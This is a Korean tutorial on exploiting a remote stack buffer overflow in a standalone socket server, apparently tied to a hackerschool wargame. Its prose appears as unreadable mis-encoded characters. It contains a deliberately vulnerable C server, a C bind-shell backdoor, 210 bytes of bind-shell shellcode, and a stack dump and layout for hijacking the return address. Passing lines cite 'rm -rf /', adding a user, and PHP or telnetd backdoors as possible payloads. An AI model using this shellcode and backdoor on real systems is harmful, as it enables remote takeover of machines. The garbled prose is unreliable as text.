ºÎÁ¦ : µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¿À¹öÇÃ·Î¿ì °ø°Ý Xinetd¿¡ ÀÇÇØ ³×Æ®¿öÅ©¿¡ ¿¬°áµÈ ·ÎÄà ÇÁ·Î±×·¥Àº ±×°ÍÀÇ Ç¥ÁØ ÀÔÃâ·Â ÁÖü°¡ ¸ðµÎ ÇØ´ç Port¿¡ ¿¬°áµÈ Ŭ¶óÀ̾ðÆ®°¡ µÈ´Ù. ±×·¸±â ¶§¹®¿¡, ¿À¹öÇÃ·Î¿ì °ø°Ý¿¡ ¼º°ø ÇÏ¿© ½©À» ȹµæÇÏ°Ô µÇ¸é, ±× ½©ÀÇ Ç¥ÁØ ÀÔÃâ·Â ¿ª½Ã XinetdÀÇ ´öÀ¸·Î Ŭ¶óÀ̾ðÆ®¿Í ¿¬°áÀÌ µÇ¾î °ø°ÝÀÚ°¡ ÀÚÀ¯·Ó°Ô ½©À» »ç¿ëÇÒ ¼ö ÀÖ¾ú´ø °ÍÀÌ´Ù. ÇÏÁö¸¸, Xinetd¿Í ¿¬°áµÇÁö ¾Ê´Â µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥. Áï, Á÷Á¢ socketÀ» »ý¼ºÇÏ°í, bind¿Í listen °úÁ¤À» °ÅÃÄ accept·Î Ŭ¶óÀ̾ðÆ®ÀÇ ¿¬°áÀ» ±â´Ù¸®´Â ÇÁ·Î±×·¥À¸·ÎÀÇ ÀԷ°ú Ãâ·ÂÀº ÇÁ·Î±×·¥ ³»¿¡ ±¸ÇöµÈ send()¿Í recv() µîÀÇ ÇÔ¼ö¿¡ ÀÇÇÑ Åë½Å¸¸ °¡´ÉÇÏ´Ù. µû¶ó¼­, ÀÌ·¯ÇÑ ÇÁ·Î±×·¥À» °ø°ÝÇÏ¿© ½©À» ȹµæÇÏ¿´À» °æ¿ì¿£ ±× ½©°ú °ø°ÝÀÚ°¡ ¼­·Î Åë½ÅÀ» ÇÒ ¼ö ÀÖ´Â ¸Å°³Ã¼°¡ Á¸ÀçÇÏÁö ¾Ê´Â »óÅ°¡ µÇ¾î¹ö¸°´Ù. °á±¹, °ø°ÝÀÚ°¡ °ø°Ý¿¡ ¼º°øÇÑ´Ù ÇÏ´õ¶óµµ ÀÚÀ¯·Î¿î ½© ±ÇÇÑÀº ȹµæÇÒ ¼ö ¾ø´Â °ÍÀÌ´Ù. À̹ø °­Á¿¡¼­´Â ÀÌ·¯ÇÑ »óȲ¿¡¼­ Ÿ°Ù ¼­¹öÀÇ ½©À» ȹµæÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ ¼³¸íÇÑ´Ù. ´ÙÀ½ÀÇ Ãë¾àÇÑ ¼Ò½º¸¦ º¸ÀÚ. ============================================================================= // ¸®¸ðÆ® ¹öÆÛ ¿À¹öÇ÷οì Ãë¾àÁ¡À» °¡Áø ÇÁ·Î±×·¥ // string º¯¼öÀÇ Å©±â´Â 300¹ÙÀÌÆ®À̳ª, recv() ÇÔ¼ö·Î 400¹ÙÀÌÆ®¸¦ // ÀÔ·Â¹Þ¾Æ string º¯¼ö¿¡ ÀúÀåÇÏ´Â °úÁ¤¿¡¼­ ¿À¹öÇÃ·Î¿ì ¹ß»ý. #include #include #include #include #include #include int main() { char string[300], sendmsg[400]; // sendmsg º¯¼ö´Â ´Ü¼øÈ÷ Ŭ¶óÀ̾ðÆ®·ÎÀÇ ÀÀ´äÀ» À§ÇÑ °ÍÀÓ. int sockfd, your_sockfd; struct sockaddr_in my_addr, your_addr; int len; sockfd = socket(AF_INET, SOCK_STREAM, 0); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(31337); my_addr.sin_addr.s_addr = INADDR_ANY; bzero(&my_addr.sin_zero, 8); if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1){ perror("bind error"); exit(-1); } listen(sockfd, 5); while(1){ len = sizeof(your_addr); your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len); if(your_sockfd==-1){ perror("accept error"); exit(-1); } if(fork()!=0){ close(your_sockfd); continue; } else break; } printf("connected from %s\n", inet_ntoa(your_addr.sin_addr)); len = recv(your_sockfd, string, 400, 0); printf("String Length = %d\n", len); string[len-1] = '\0'; sprintf(sendmsg, "´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s\n", string); send(your_sockfd, sendmsg, strlen(sendmsg), 0); close(sockfd); close(your_sockfd); } ============================================================================= À§ ÇÁ·Î±×·¥Àº TCP 31337¹ø Æ÷Æ®¸¦ »ý¼ºÇÑ ÈÄ, ÀÌ °÷À¸·Î Á¢¼ÓµÈ Ŭ¶óÀ̾ðÆ®¿¡°Ô ÇÑ ¹øÀÇ ¹®ÀÚ¿­À» ÀԷ¹ÞÀº ÈÄ, ±×°ÍÀ» ´Ù½Ã Ŭ¶óÀ̾ðÆ®¿¡°Ô Ãâ·ÂÇØÁÖ°í Á¾·áÇÑ´Ù. ÀÌó·³, µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥À¸·Î ±¸ÇöµÉ °æ¿ì¿£ ¼Ò½º ³»ÀÇ send()¿Í recv() ÇÔ¼ö°¡ ¿äûÇÏ°í, º¸³»ÁÖ´Â ÀÔÃâ·Â¸¸ ó¸®ÇÒ ¼ö ÀÖ´Ù. Áï, À§ ÇÁ·Î±×·¥ÀÇ °æ¿ì¿£ ¿À·ÎÁö ÇÑ ¹ø ÀÔ·ÂÀ» ¹Þ°í, ¿ª½Ã ÇÑ ¹ø Ãâ·ÂÀ» ÇÒ ¼ö¹Û¿¡ ¾ø´Â °ÍÀÌ´Ù. ±×·³ À§¿Í °°Àº ȯ°æ¿¡¼­ string º¯¼ö¸¦ overflow½ÃÄÑ ½©À» ȹµæÇß´Ù°í Çغ¸ÀÚ. ±×·³, ±× ½©ÀÇ ÀԷ°ú Ãâ·ÂÀº ¾îµð·Î ¿¬°áµÉ±î? º¸´Ù½ÃÇÇ main() ÇÔ¼ö°¡ Á¾·áµÈ ÀÌÈÄ¿¡´Â ¾Æ¹«·± send()¿Í recv() ÇÔ¼öµµ Á¸ÀçÇÏÁö ¾ÊÀ½À¸·Î, ÀԷµµ ¹ÞÀ» ¼ö ¾ø°í, Ãâ·Â ¿ª½Ã ÇÒ ¼ö ¾ø´Ù. ´õ±º´Ù³ª, main() ÇÔ¼ö°¡ Á¾·áµÇ±â Á÷Àü¿¡ sockfd¿Í your_sockfd. Áï, Åë½Å¿¡ »ç¿ëÇÏ´Â ¸ðµç ¼ÒÄÏÀ» ´Ý¾Æ¹ö¸®±â ¶§¹®¿¡ ½©°ú ÀÔÃâ·Â Åë½ÅÀ» ÇÏ´Â °ÍÀº ´õ¿í ¸·¿¬Çϱ⸸ÇÏ´Ù. ¾Æ¸¶µµ, À§ ÇÁ·Î±×·¥À» ¿À¹öÇ÷οì½ÃÄÑ ½©À» ¶ç¿ì°Ô µÇ¸é, ±× ½©À» ½ÇÇàÇÏ´Â °ÍÀº ÇÁ·Î±×·¥ÀÇ ¹é±×¶ó¿îµå ÇÁ·Î¼¼½º°¡ µÉ °ÍÀÌ´Ù. Áï, °ø°ÝÀÚ¿Í °ø°Ý ´ë»óÀÚ°¡ ÀÖÀ» ¶§, °ø°Ý ´ë»óÀÚÀÇ ½©ÀÌ ´Ù½Ã °ø°Ý ´ë»óÀÚ¿¡°Ô ½ÇÇàµÇ´Â °ÍÀÌ´Ï ¾Æ¹«·± Àǹ̰¡ ¾ø´Ù. ´õ±º´Ù³ª ½ÇÁ¦·Î À§¿Í °°Àº ÇüÅ¿¡ ³×Æ®¿öÅ© ÇÁ·Î±×·¥Àº Å͹̳ο¡ ¿¬°áµÇÁö ¾ÊÀº µ¥¸ó ÇüÅ·ΠÀÛµ¿ÇÏ´Â °æ¿ì°¡ ´ëºÎºÐÀ̸ç, ±×¿Í °°Àº °æ¿ì¿£ ½©ÀÌ ½ÇÇàµÇ´õ¶óµµ ±× ½©À» ¹Þ°ÔµÇ´Â ÁÖü´Â ¾Æ¹« °Íµµ ¾ø°ÔµÇ°í, µû¶ó¼­ Åë½Å ´ë»óÀÌ ¾ø´Â ½©Àº ½ÇÇàµÈ Áï½Ã ¼Ò¸êµÉ °ÍÀÌ´Ù. ÀÚ, ±×·³ ÀÌ¿Í°°Àº »óȲ¿¡¼­ ¾î¶»°Ô °ø°ÝÀ» ±¸»óÇؾßÇÒ °ÍÀΰ¡? ÀÏ´Ü, ½©ÄÚµå. Áï, Ÿ°Ù ¼­¹ö·Î Àü¼ÛµÇ´Â ±â°è¾î Äڵ尡 ²À ½©À» ¶ç¿ì´Â °Í¸¸ÀÏ ÇÊ¿ä´Â ¾ø´Ù´Â Á¡À» »ó±âÇؾßÇÑ´Ù. ´Ù½Ã ¸»ÇØ Å¸°Ù ¼­¹ö¿¡ ¸í·ÉÀ» ³»¸®´Â ¾î¶°ÇÑ ±â°è¾îµµ ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â ¾ê±â´Ù. µû¶ó¼­ ²À ½©À» ¾ò´Â °Í¸¸ÀÌ ¾Æ´Ñ "rm -rf /" ¿ªÇÒÀ» ÇÏ´Â ±â°è¾îµµ ½ÇÇà½Ãų ¼ö ÀÖ°í, "adduser mirable"À̶ó´Â ¸í·ÉÀÇ ±â°è¾îµµ ½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â ¸»ÀÌ´Ù. ºñ·Ï Á÷Á¢ÀûÀ¸·Î ½©Àº ¾ò¾î³»Áö ¸øÇÏ´õ¶óµµ ¿ì¸®´Â ¿øÇÏ´Â ¸ðµç ¸í·ÉÀ» Ÿ°Ù ¼­¹ö¿¡ ½ÇÇàµÇ°Ô ÇÒ ¼ö°¡ ÀÖ´Ù. ±×·³, °ú¿¬ ¾î¶² ±â°è¾î Äڵ带 Àü¼ÛÇØ¾ß °¡Àå È¿°úÀûÀϱî? passthru() ÇÔ¼ö¸¦ ´ãÀº /home/public_html/backdoor.php ÆÄÀÏÀ» ¸¸µé±î? ÀÌ°Ç Á» ¹ø°Å·Î¿ö º¸ÀδÙ. ±×·³, /usr/sbin/in.telnetd ÇÁ·Î±×·¥À» ÀÌ¿ë ÇÏ¿© ¹éµµ¾î¸¦ »ý¼ºÇÒ±î? ±×³ª¸¶ Á¶±Ý ±¦ÂúÀº ¹æ¹ýÀÌ´Ù. ÇÏÁö¸¸, °¡Àå È¿À²ÀûÀÌ°í ½ÇÁ¦·Î ÇØÄ¿µéÀÌ °¡Àå ¸¹ÀÌ »ç¿ëÇÏ´Â ¹æ¹ýÀº ¹Ù·Î Ãë¾à ÇÁ·Î±×·¥°ú´Â º°°³ÀÇ »õ·Î¿î ¼ÒÄÏÀ» »ý¼ºÇÏ°í, Æ÷Æ®¸¦ ¿­°í, ±×°ÍÀ» "/bin/bash"¿Í ¿¬°á½ÃÅ°´Â À̸¥¹Ù Bindshell ¹éµµ¾î¸¦ ½ÇÇàÇÏ´Â °ÍÀÌ´Ù. ÀÌ ¹éµµ¾î¸¦ ½ÇÇàÇÑ ÈÄ, telnet µîÀ» ÀÌ¿ëÇÏ¿© Æ÷Æ®¿¡ Á¢¼ÓÇÑ´Ù¸é, Á÷Á¢ "/bin/bash"¸¦ ½ÇÇàÇÏ´Â °Í°ú´Â ´Ù¸¥ ¹æ¹ýÀ¸·Î ½©À» ȹµæÇÒ ¼ö ÀÖ°Ô µÈ´Ù. ÀÚ, ±×·³ ÀÌÁ¦ ´äÀº ³ª¿Ô´Ù. Áö±Ý±îÁö »ç¿ëÇØ¿Ô´ø "/bin/bash"¸¦ ½ÇÇàÇÏ´Â ½©ÄÚµå´Â µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¿À¹öÇÃ·Î¿ì °ø°Ý¿£ ¾Æ¹«·± ¾µ¸ð°¡ ¾øÀ½À¸·Î ¹ö·Á¹ö¸®°í, ´ë½Å ¹éµµ¾î ½©À» »ý¼ºÇÏ´Â ¹ÙÀÎµå ½© Äڵ带 »ç¿ëÇϵµ·Ï ÇÏÀÚ. ±×·³, ¸ÕÀú ¹ÙÀÎµå ½© ÇÁ·Î±×·¥À» C¾ð¾î·Î ±¸ÇöÇÏ¿© ±× µ¿ÀÛ ¿ø¸®¸¦ ÀÌÇØÇØ º¸µµ·Ï ÇÏÀÚ. ============================================================================ #include #include #include #include #include #include int main() { int sockfd, your_sockfd, len; struct sockaddr_in my_addr, your_addr; sockfd = socket(AF_INET, SOCK_STREAM, 0); my_addr.sin_family = AF_INET; my_addr.sin_port = htons(12345); my_addr.sin_addr.s_addr = INADDR_ANY; memset(&my_addr.sin_zero, 0, 8); if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){ perror("bind"); exit(-1); } listen(sockfd, 5); len = sizeof(your_addr); your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len); dup2(your_sockfd, 0); // Ç¥ÁØ ÀÔ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î.. dup2(your_sockfd, 1); // Ç¥ÁØ Ãâ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î.. dup2(your_sockfd, 2); // ¿¡·¯ Ãâ·ÂÀ» Ŭ¶óÀ̾ðÆ®·Î.. execl("/bin/bash", "bash", 0); close(sockfd); close(your_sockfd); } ============================================================================ °¡Àå ÇÙ½ÉÀÌ µÇ´Â ºÎºÐÀº dup2()°¡ »ç¿ëµÈ ¼¼ ÁÙÀÌ´Ù. dup2()´Â µð½ºÅ©¸³ÅÍ º¹»ç ÇÔ¼ö·Î½á, dup2(your_sockfd, 0)Àº your_sockfd µð½ºÅ©¸³Å͸¦ 0 µð½ºÅ©¸³ÅÍ·Î º¹»ç Ç϶ó´Â ÀǹÌÀÓÀ¸·Î °ð 0Àº your_sockfd°¡ µÈ´Ù. 0Àº stdin. Áï, Ç¥ÁØ ÀÔ·ÂÀ̸ç, Ç¥ÁØ ÀÔ·ÂÀÌ your_sockfd(Ŭ¶óÀ̾ðÆ®¿Í ¿¬°áµÈ ¼ÒÄÏ)°¡ µÈ °ÍÀÌ´Ù. ¶Ç, dup2(your_ sockfd, 1)¿¡ ÀÇÇؼ­ Ç¥ÁØ Ãâ·ÂÀÇ ÁÖü ¿ª½Ã Ŭ¶óÀ̾ðÆ®ÀÇ ¼ÒÄÏÀÌ µÇ¾ú´Ù. ¸¶Áö¸· dup2(your_sockfd, 2)¿¡ ÀÇÇؼ­ ¿¡·¯ Ãâ·ÂÀÇ ÁÖüµµ Ŭ¶óÀ̾ðÆ®°¡ µÇ¾ú°í, °á°úÀûÀ¸·Î ÇÁ·Î±×·¥ÀÇ ÀÔÃâ·Â ´ë»óÀÌ Æ÷Æ®¿¡ ¿¬°áµÈ Ŭ¶óÀ̾ðÆ®°¡ µÇ¾ú´Ù. ¶ÇÇÑ, ÀÌ »óÅ¿¡¼­ "/bin/bash"¸¦ ½ÇÇàÇÏ¿´À¸´Ï, ½©ÀÉ ÀÔÃâ·Â ´ë»ó ¿ª½Ã Ŭ¶óÀ̾ðÆ® °¡ µÇ´Â °ÍÀÌ°í, Ŭ¶óÀ̾ðÆ® ÀÔÀå¿¡¼­ º¼ ¶§´Â ¸¶Ä¡ ·ÎÄÿ¡¼­ Á÷Á¢ ½©À» ½ÇÇàÇÑ °Í°ú °°Àº °á°ú¸¦ ¾ò°Ô µÇ´Â °ÍÀÌ´Ù. (À§ ÇÁ·Î±×·¥Àº ¿ø¸® ÀÌÇظ¦ ½±°ÔÇϱâÀ§ÇÏ¿© ¿ÀÁ÷ ÇÑ ¹øÀÇ Å¬¶óÀ̾ðÆ®ºÎÅÍÀÇ ¿¬°á¸¸ ¹Þµµ·Ï ±¸ÇöµÇ¾îÀÖ´Ù. ¿©·¯ °³ÀÇ Å¬¶óÀ̾ð Æ®¸¦ ¹Þ°Å³ª, ½©ÀÌ Á¾·áµÈ ÈÄ¿¡µµ ÇÁ·Î±×·¥ÀÌ ÀÛµ¿Çϵµ·Ï ÇÏ·Á¸é, fork() ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© Á¢¼ÓÀÌ ¿Ã¶§¸¶´Ù ¶È°°Àº ÇÁ·Î¼¼½º¸¦ º¹»çÇؼ­ ½ÇÇàÇϵµ·Ï ¼öÁ¤ÇÏ¸é µÉ °ÍÀÌ´Ù.) ÀÌÁ¦ À§ C¾ð¾î Äڵ带 ±â°è¾î. Áï ¹éµµ¾î ½©ÄÚµå·Î º¯È¯Çϴµ¥, Á÷Á¢ ½©Äڵ带 ±¸ÇöÇÏ¸é ¸¹Àº ½Ã°£°ú Áö¸éÀÌ ¼Ò¿äµÊÀ¸·Î ÀÌ °­Á¿¡¼± ÀÌ¹Ì ¿Ï¼ºµÈ ¹éµµ¾î ½©Äڵ带 °¡Á®¿Í »ç¿ëÇϵµ·Ï ÇÏ°Ú´Ù. ¡Ý TCP 45295 Port¸¦ ¿­¾îÁÖ´Â Bind Shell ¹éµµ¾î ±â°è¾î ÄÚµå. (from sambal.c) "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51" "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50" "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02" "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05" "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd" "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd" "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80" "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0" "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80" "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24" "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0" "\x89\xf3\xb0\x06\xcd\x80\xeb\x99"; À§ ¹®ÀÚ¿­Àº ÃÑ 210¹ÙÀÌÆ®À̸ç, ÀÌ ¿ë·®À» ¼ö¿ëÇϱâÀ§ÇÏ¿© Ãë¾à ÇÁ·Î±×·¥ÀÇ ¹öÆÛ Å©±â¸¦ ³Ë³ËÇÏ°Ô 300 ¹ÙÀÌÆ®·Î ÇÒ´çÇÑ °ÍÀ̾ú´Ù. ±×·³ ÀÌÁ¦ ½ÇÁ¦ °ø°Ý Å×½ºÆ®¸¦ ÁøÇàÇغ¸ÀÚ. °ø°Ý ȯ°æÀº ´ÙÀ½°ú °°´Ù. ================================================================== Target : ftz.hackerschool.org, ·¹µåÇÞ 7.3, gcc 2.96 ´ÙÀ½°ú °°ÀÌ guest °èÁ¤À¸·Î Ãë¾à ÇÁ·Î±×·¥À» ½ÇÇàÇÑ´Ù. [guest@ftz guest]$ gcc -o vuln_prog vuln_prog.c [guest@ftz guest]$ ./vuln_prog ================================================================== °ø°ÝÀÚÀÇ ¼­¹ö ȯ°æÀº À¯´Ð½º ±â¹ÝÀ̱⸸ÇÏ¸é ¾î¶² °ÍÀÌ µÇ´øÁö »ó°ü¾ø´Ù. ÀÌ ¹®¼­¸¦ ÀÛ¼ºÇÒ ¶© °°Àº ¼­¹ö¿¡ ¶Ç ÇϳªÀÇ Å͹̳ηΠÁ¢¼ÓÇÑ ÈÄ, localhost·Î °ø°ÝÀ» Å×½ºÆ®ÇÏ¿´´Ù. ================================================================== [guest@ftz guest]$ telnet localhost 31337 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. hello ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : hello Connection closed by foreign host. [guest@ftz guest]$ ================================================================== ±×·³ ÀÌÁ¦ ¾î¶² ¹æ¹ýÀ¸·Î °ø°ÝÇÒÁö¸¦ ±¸»óÇغ¸ÀÚ. °ø°Ý ¹æ¹ýÀ» ½±°Ô ¶°¿Ã¸±·Á¸é, Ãë¾àÇÑ ·çƾ¿¡ ÇØ´çÇÏ´Â ¹öÆÛ »óŸ¦ ±×¸²À¸·Î ±×¸®´Â °ÍÀÌ Å« µµ¿òÀÌ µÈ´Ù. * vuln_progÀÇ ¹öÆÛ ¸ð½À (STACK) [sendmsg(400 bytes)] [string(300 bytes)] [sfp] [return address] [ ... ] ¿©±â¼­ ¹®Á¦°¡ µÉ ¼ö ÀÖ´Â °ÍÀº dummyÀÌ´Ù. ÄÄÆÄÀÏ·¯¿¡ÀÇÇؼ­ dummy°¡ Ãß°¡µÉ ¼ö Àֱ⠶§¹®ÀÌ´Ù. ´ÙÀ½°ú °°Àº °£´ÜÇÑ Å×½ºÆ® ÇÁ·Î±×·¥À» ¸¸µé¾î dummy »ý¼º ¿©ºÎ¸¦ È®ÀÎÇØ º¸ÀÚ. ============================================ #include "dumpcode.h" int main() { char string[300], sendmsg[400]; memset(string, 'A', 300); memset(sendmsg, 'B', 400); dumpcode(sendmsg, 800); } ============================================ * ½ÇÇà °á°ú ============================================================================== [guest@ftz guest]$ gcc -o dummy dummy.c [guest@ftz guest]$ ./dummy 0xbffff8a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff8f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff900 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff910 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff920 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff930 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff940 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff950 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff960 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff970 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff980 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff990 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9a0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9b0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9c0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9d0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9e0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffff9f0 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa10 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa20 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB 0xbffffa30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa50 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa70 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa80 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffa90 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffaa0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffab0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffac0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffad0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffae0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffaf0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb30 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb40 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffb50 41 41 41 41 41 41 41 41 41 41 41 41 51 84 04 08 AAAAAAAAAAAAQ... 0xbffffb60 84 97 04 08 88 98 04 08 a8 fb ff bf 99 74 01 42 .............t.B 0xbffffb70 01 00 00 00 d4 fb ff bf dc fb ff bf fa 82 04 08 ................ 0xbffffb80 30 87 04 08 00 00 00 00 a8 fb ff bf 82 74 01 42 0............t.B 0xbffffb90 00 00 00 00 dc fb ff bf bc e5 12 42 c0 34 01 40 ...........B.4.@ 0xbffffba0 01 00 00 00 70 83 04 08 00 00 00 00 91 83 04 08 ....p........... 0xbffffbb0 94 86 04 08 01 00 00 00 d4 fb ff bf e4 82 04 08 ................ [guest@ftz guest]$ ============================================================================== À§ °á°ú¸¦ ºÐ¼®Çغ¸¸é, string º¯¼ö¸¦ 16¹ÙÀÌÆ® ´ÜÀ§¸¦ ¸¸µé±âÀ§ÇØ 4¹ÙÀÌÆ®ÀÇ ´õ¹Ì°¡ Ãß°¡µÇ¾úÀ¸¸ç, return address¿Í sfp¸¦ 16¹ÙÀÌÆ® ´ÜÀ§·Î ¸¸µé±âÀ§ÇØ 8¹ÙÀÌÆ®ÀÇ ´õ¹Ì°¡ Ãß°¡µÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. Áï, ÃÑ 12¹ÙÀÌÆ®ÀÇ ´õ¹Ì°¡ »ý¼ºµÈ °ÍÀÌ´Ù. ÀÌÁ¦ ¹öÆÛ¸¦ ´Ù½Ã ±×·Áº¸ÀÚ. * vuln_progÀÇ ¹öÆÛ ¸ð½À (STACK) [sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...] ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥ÀÌ °ø°Ý´çÇÒ ¶§ÀÇ ¹öÆÛ ¸ð½ÀÀ» ½±°Ô À¯ÃßÇÒ ¼ö ÀÖ´Ù. * °ø°Ý´çÇÒ ¶§ÀÇ ¹öÆÛ ¸ð½À [sendmsg(400 bytes)] [string(300 bytes)] [dummy(12 bytes)] [sfp] [ret] [...] ~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~ ¦­ [210¹ÙÀÌÆ® ½©ÄÚµå] [¾î¶² °ªÀÌ µÇ´ø »ó°ü¾øÀ½.] ¦­ ¡è ¦­ ¦±¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦¬¦° * ¸®ÅÏ ¾îµå·¹½º°¡ ½©ÄÚµåÀÇ ½ÃÀÛÀ» °¡¸®Å°µµ·Ï ÇÔ. À§¿Í°°Àº ¸ð¾çÀÌ µÈ´Ù¸é, ¹öÆÛ°¡ ¿À¹öÇ÷οìµÇ°í, main()ÇÔ¼ö°¡ Á¾·áµÇ´Â ½ÃÁ¡¿¡¼­ ¹ÙÀÎµå ½©Äڵ尡 ½ÇÇàµÊ°ú µ¿½Ã¿¡ 45295¹ø Æ÷Æ®°¡ ¿­¸± °ÍÀÌ´Ù. 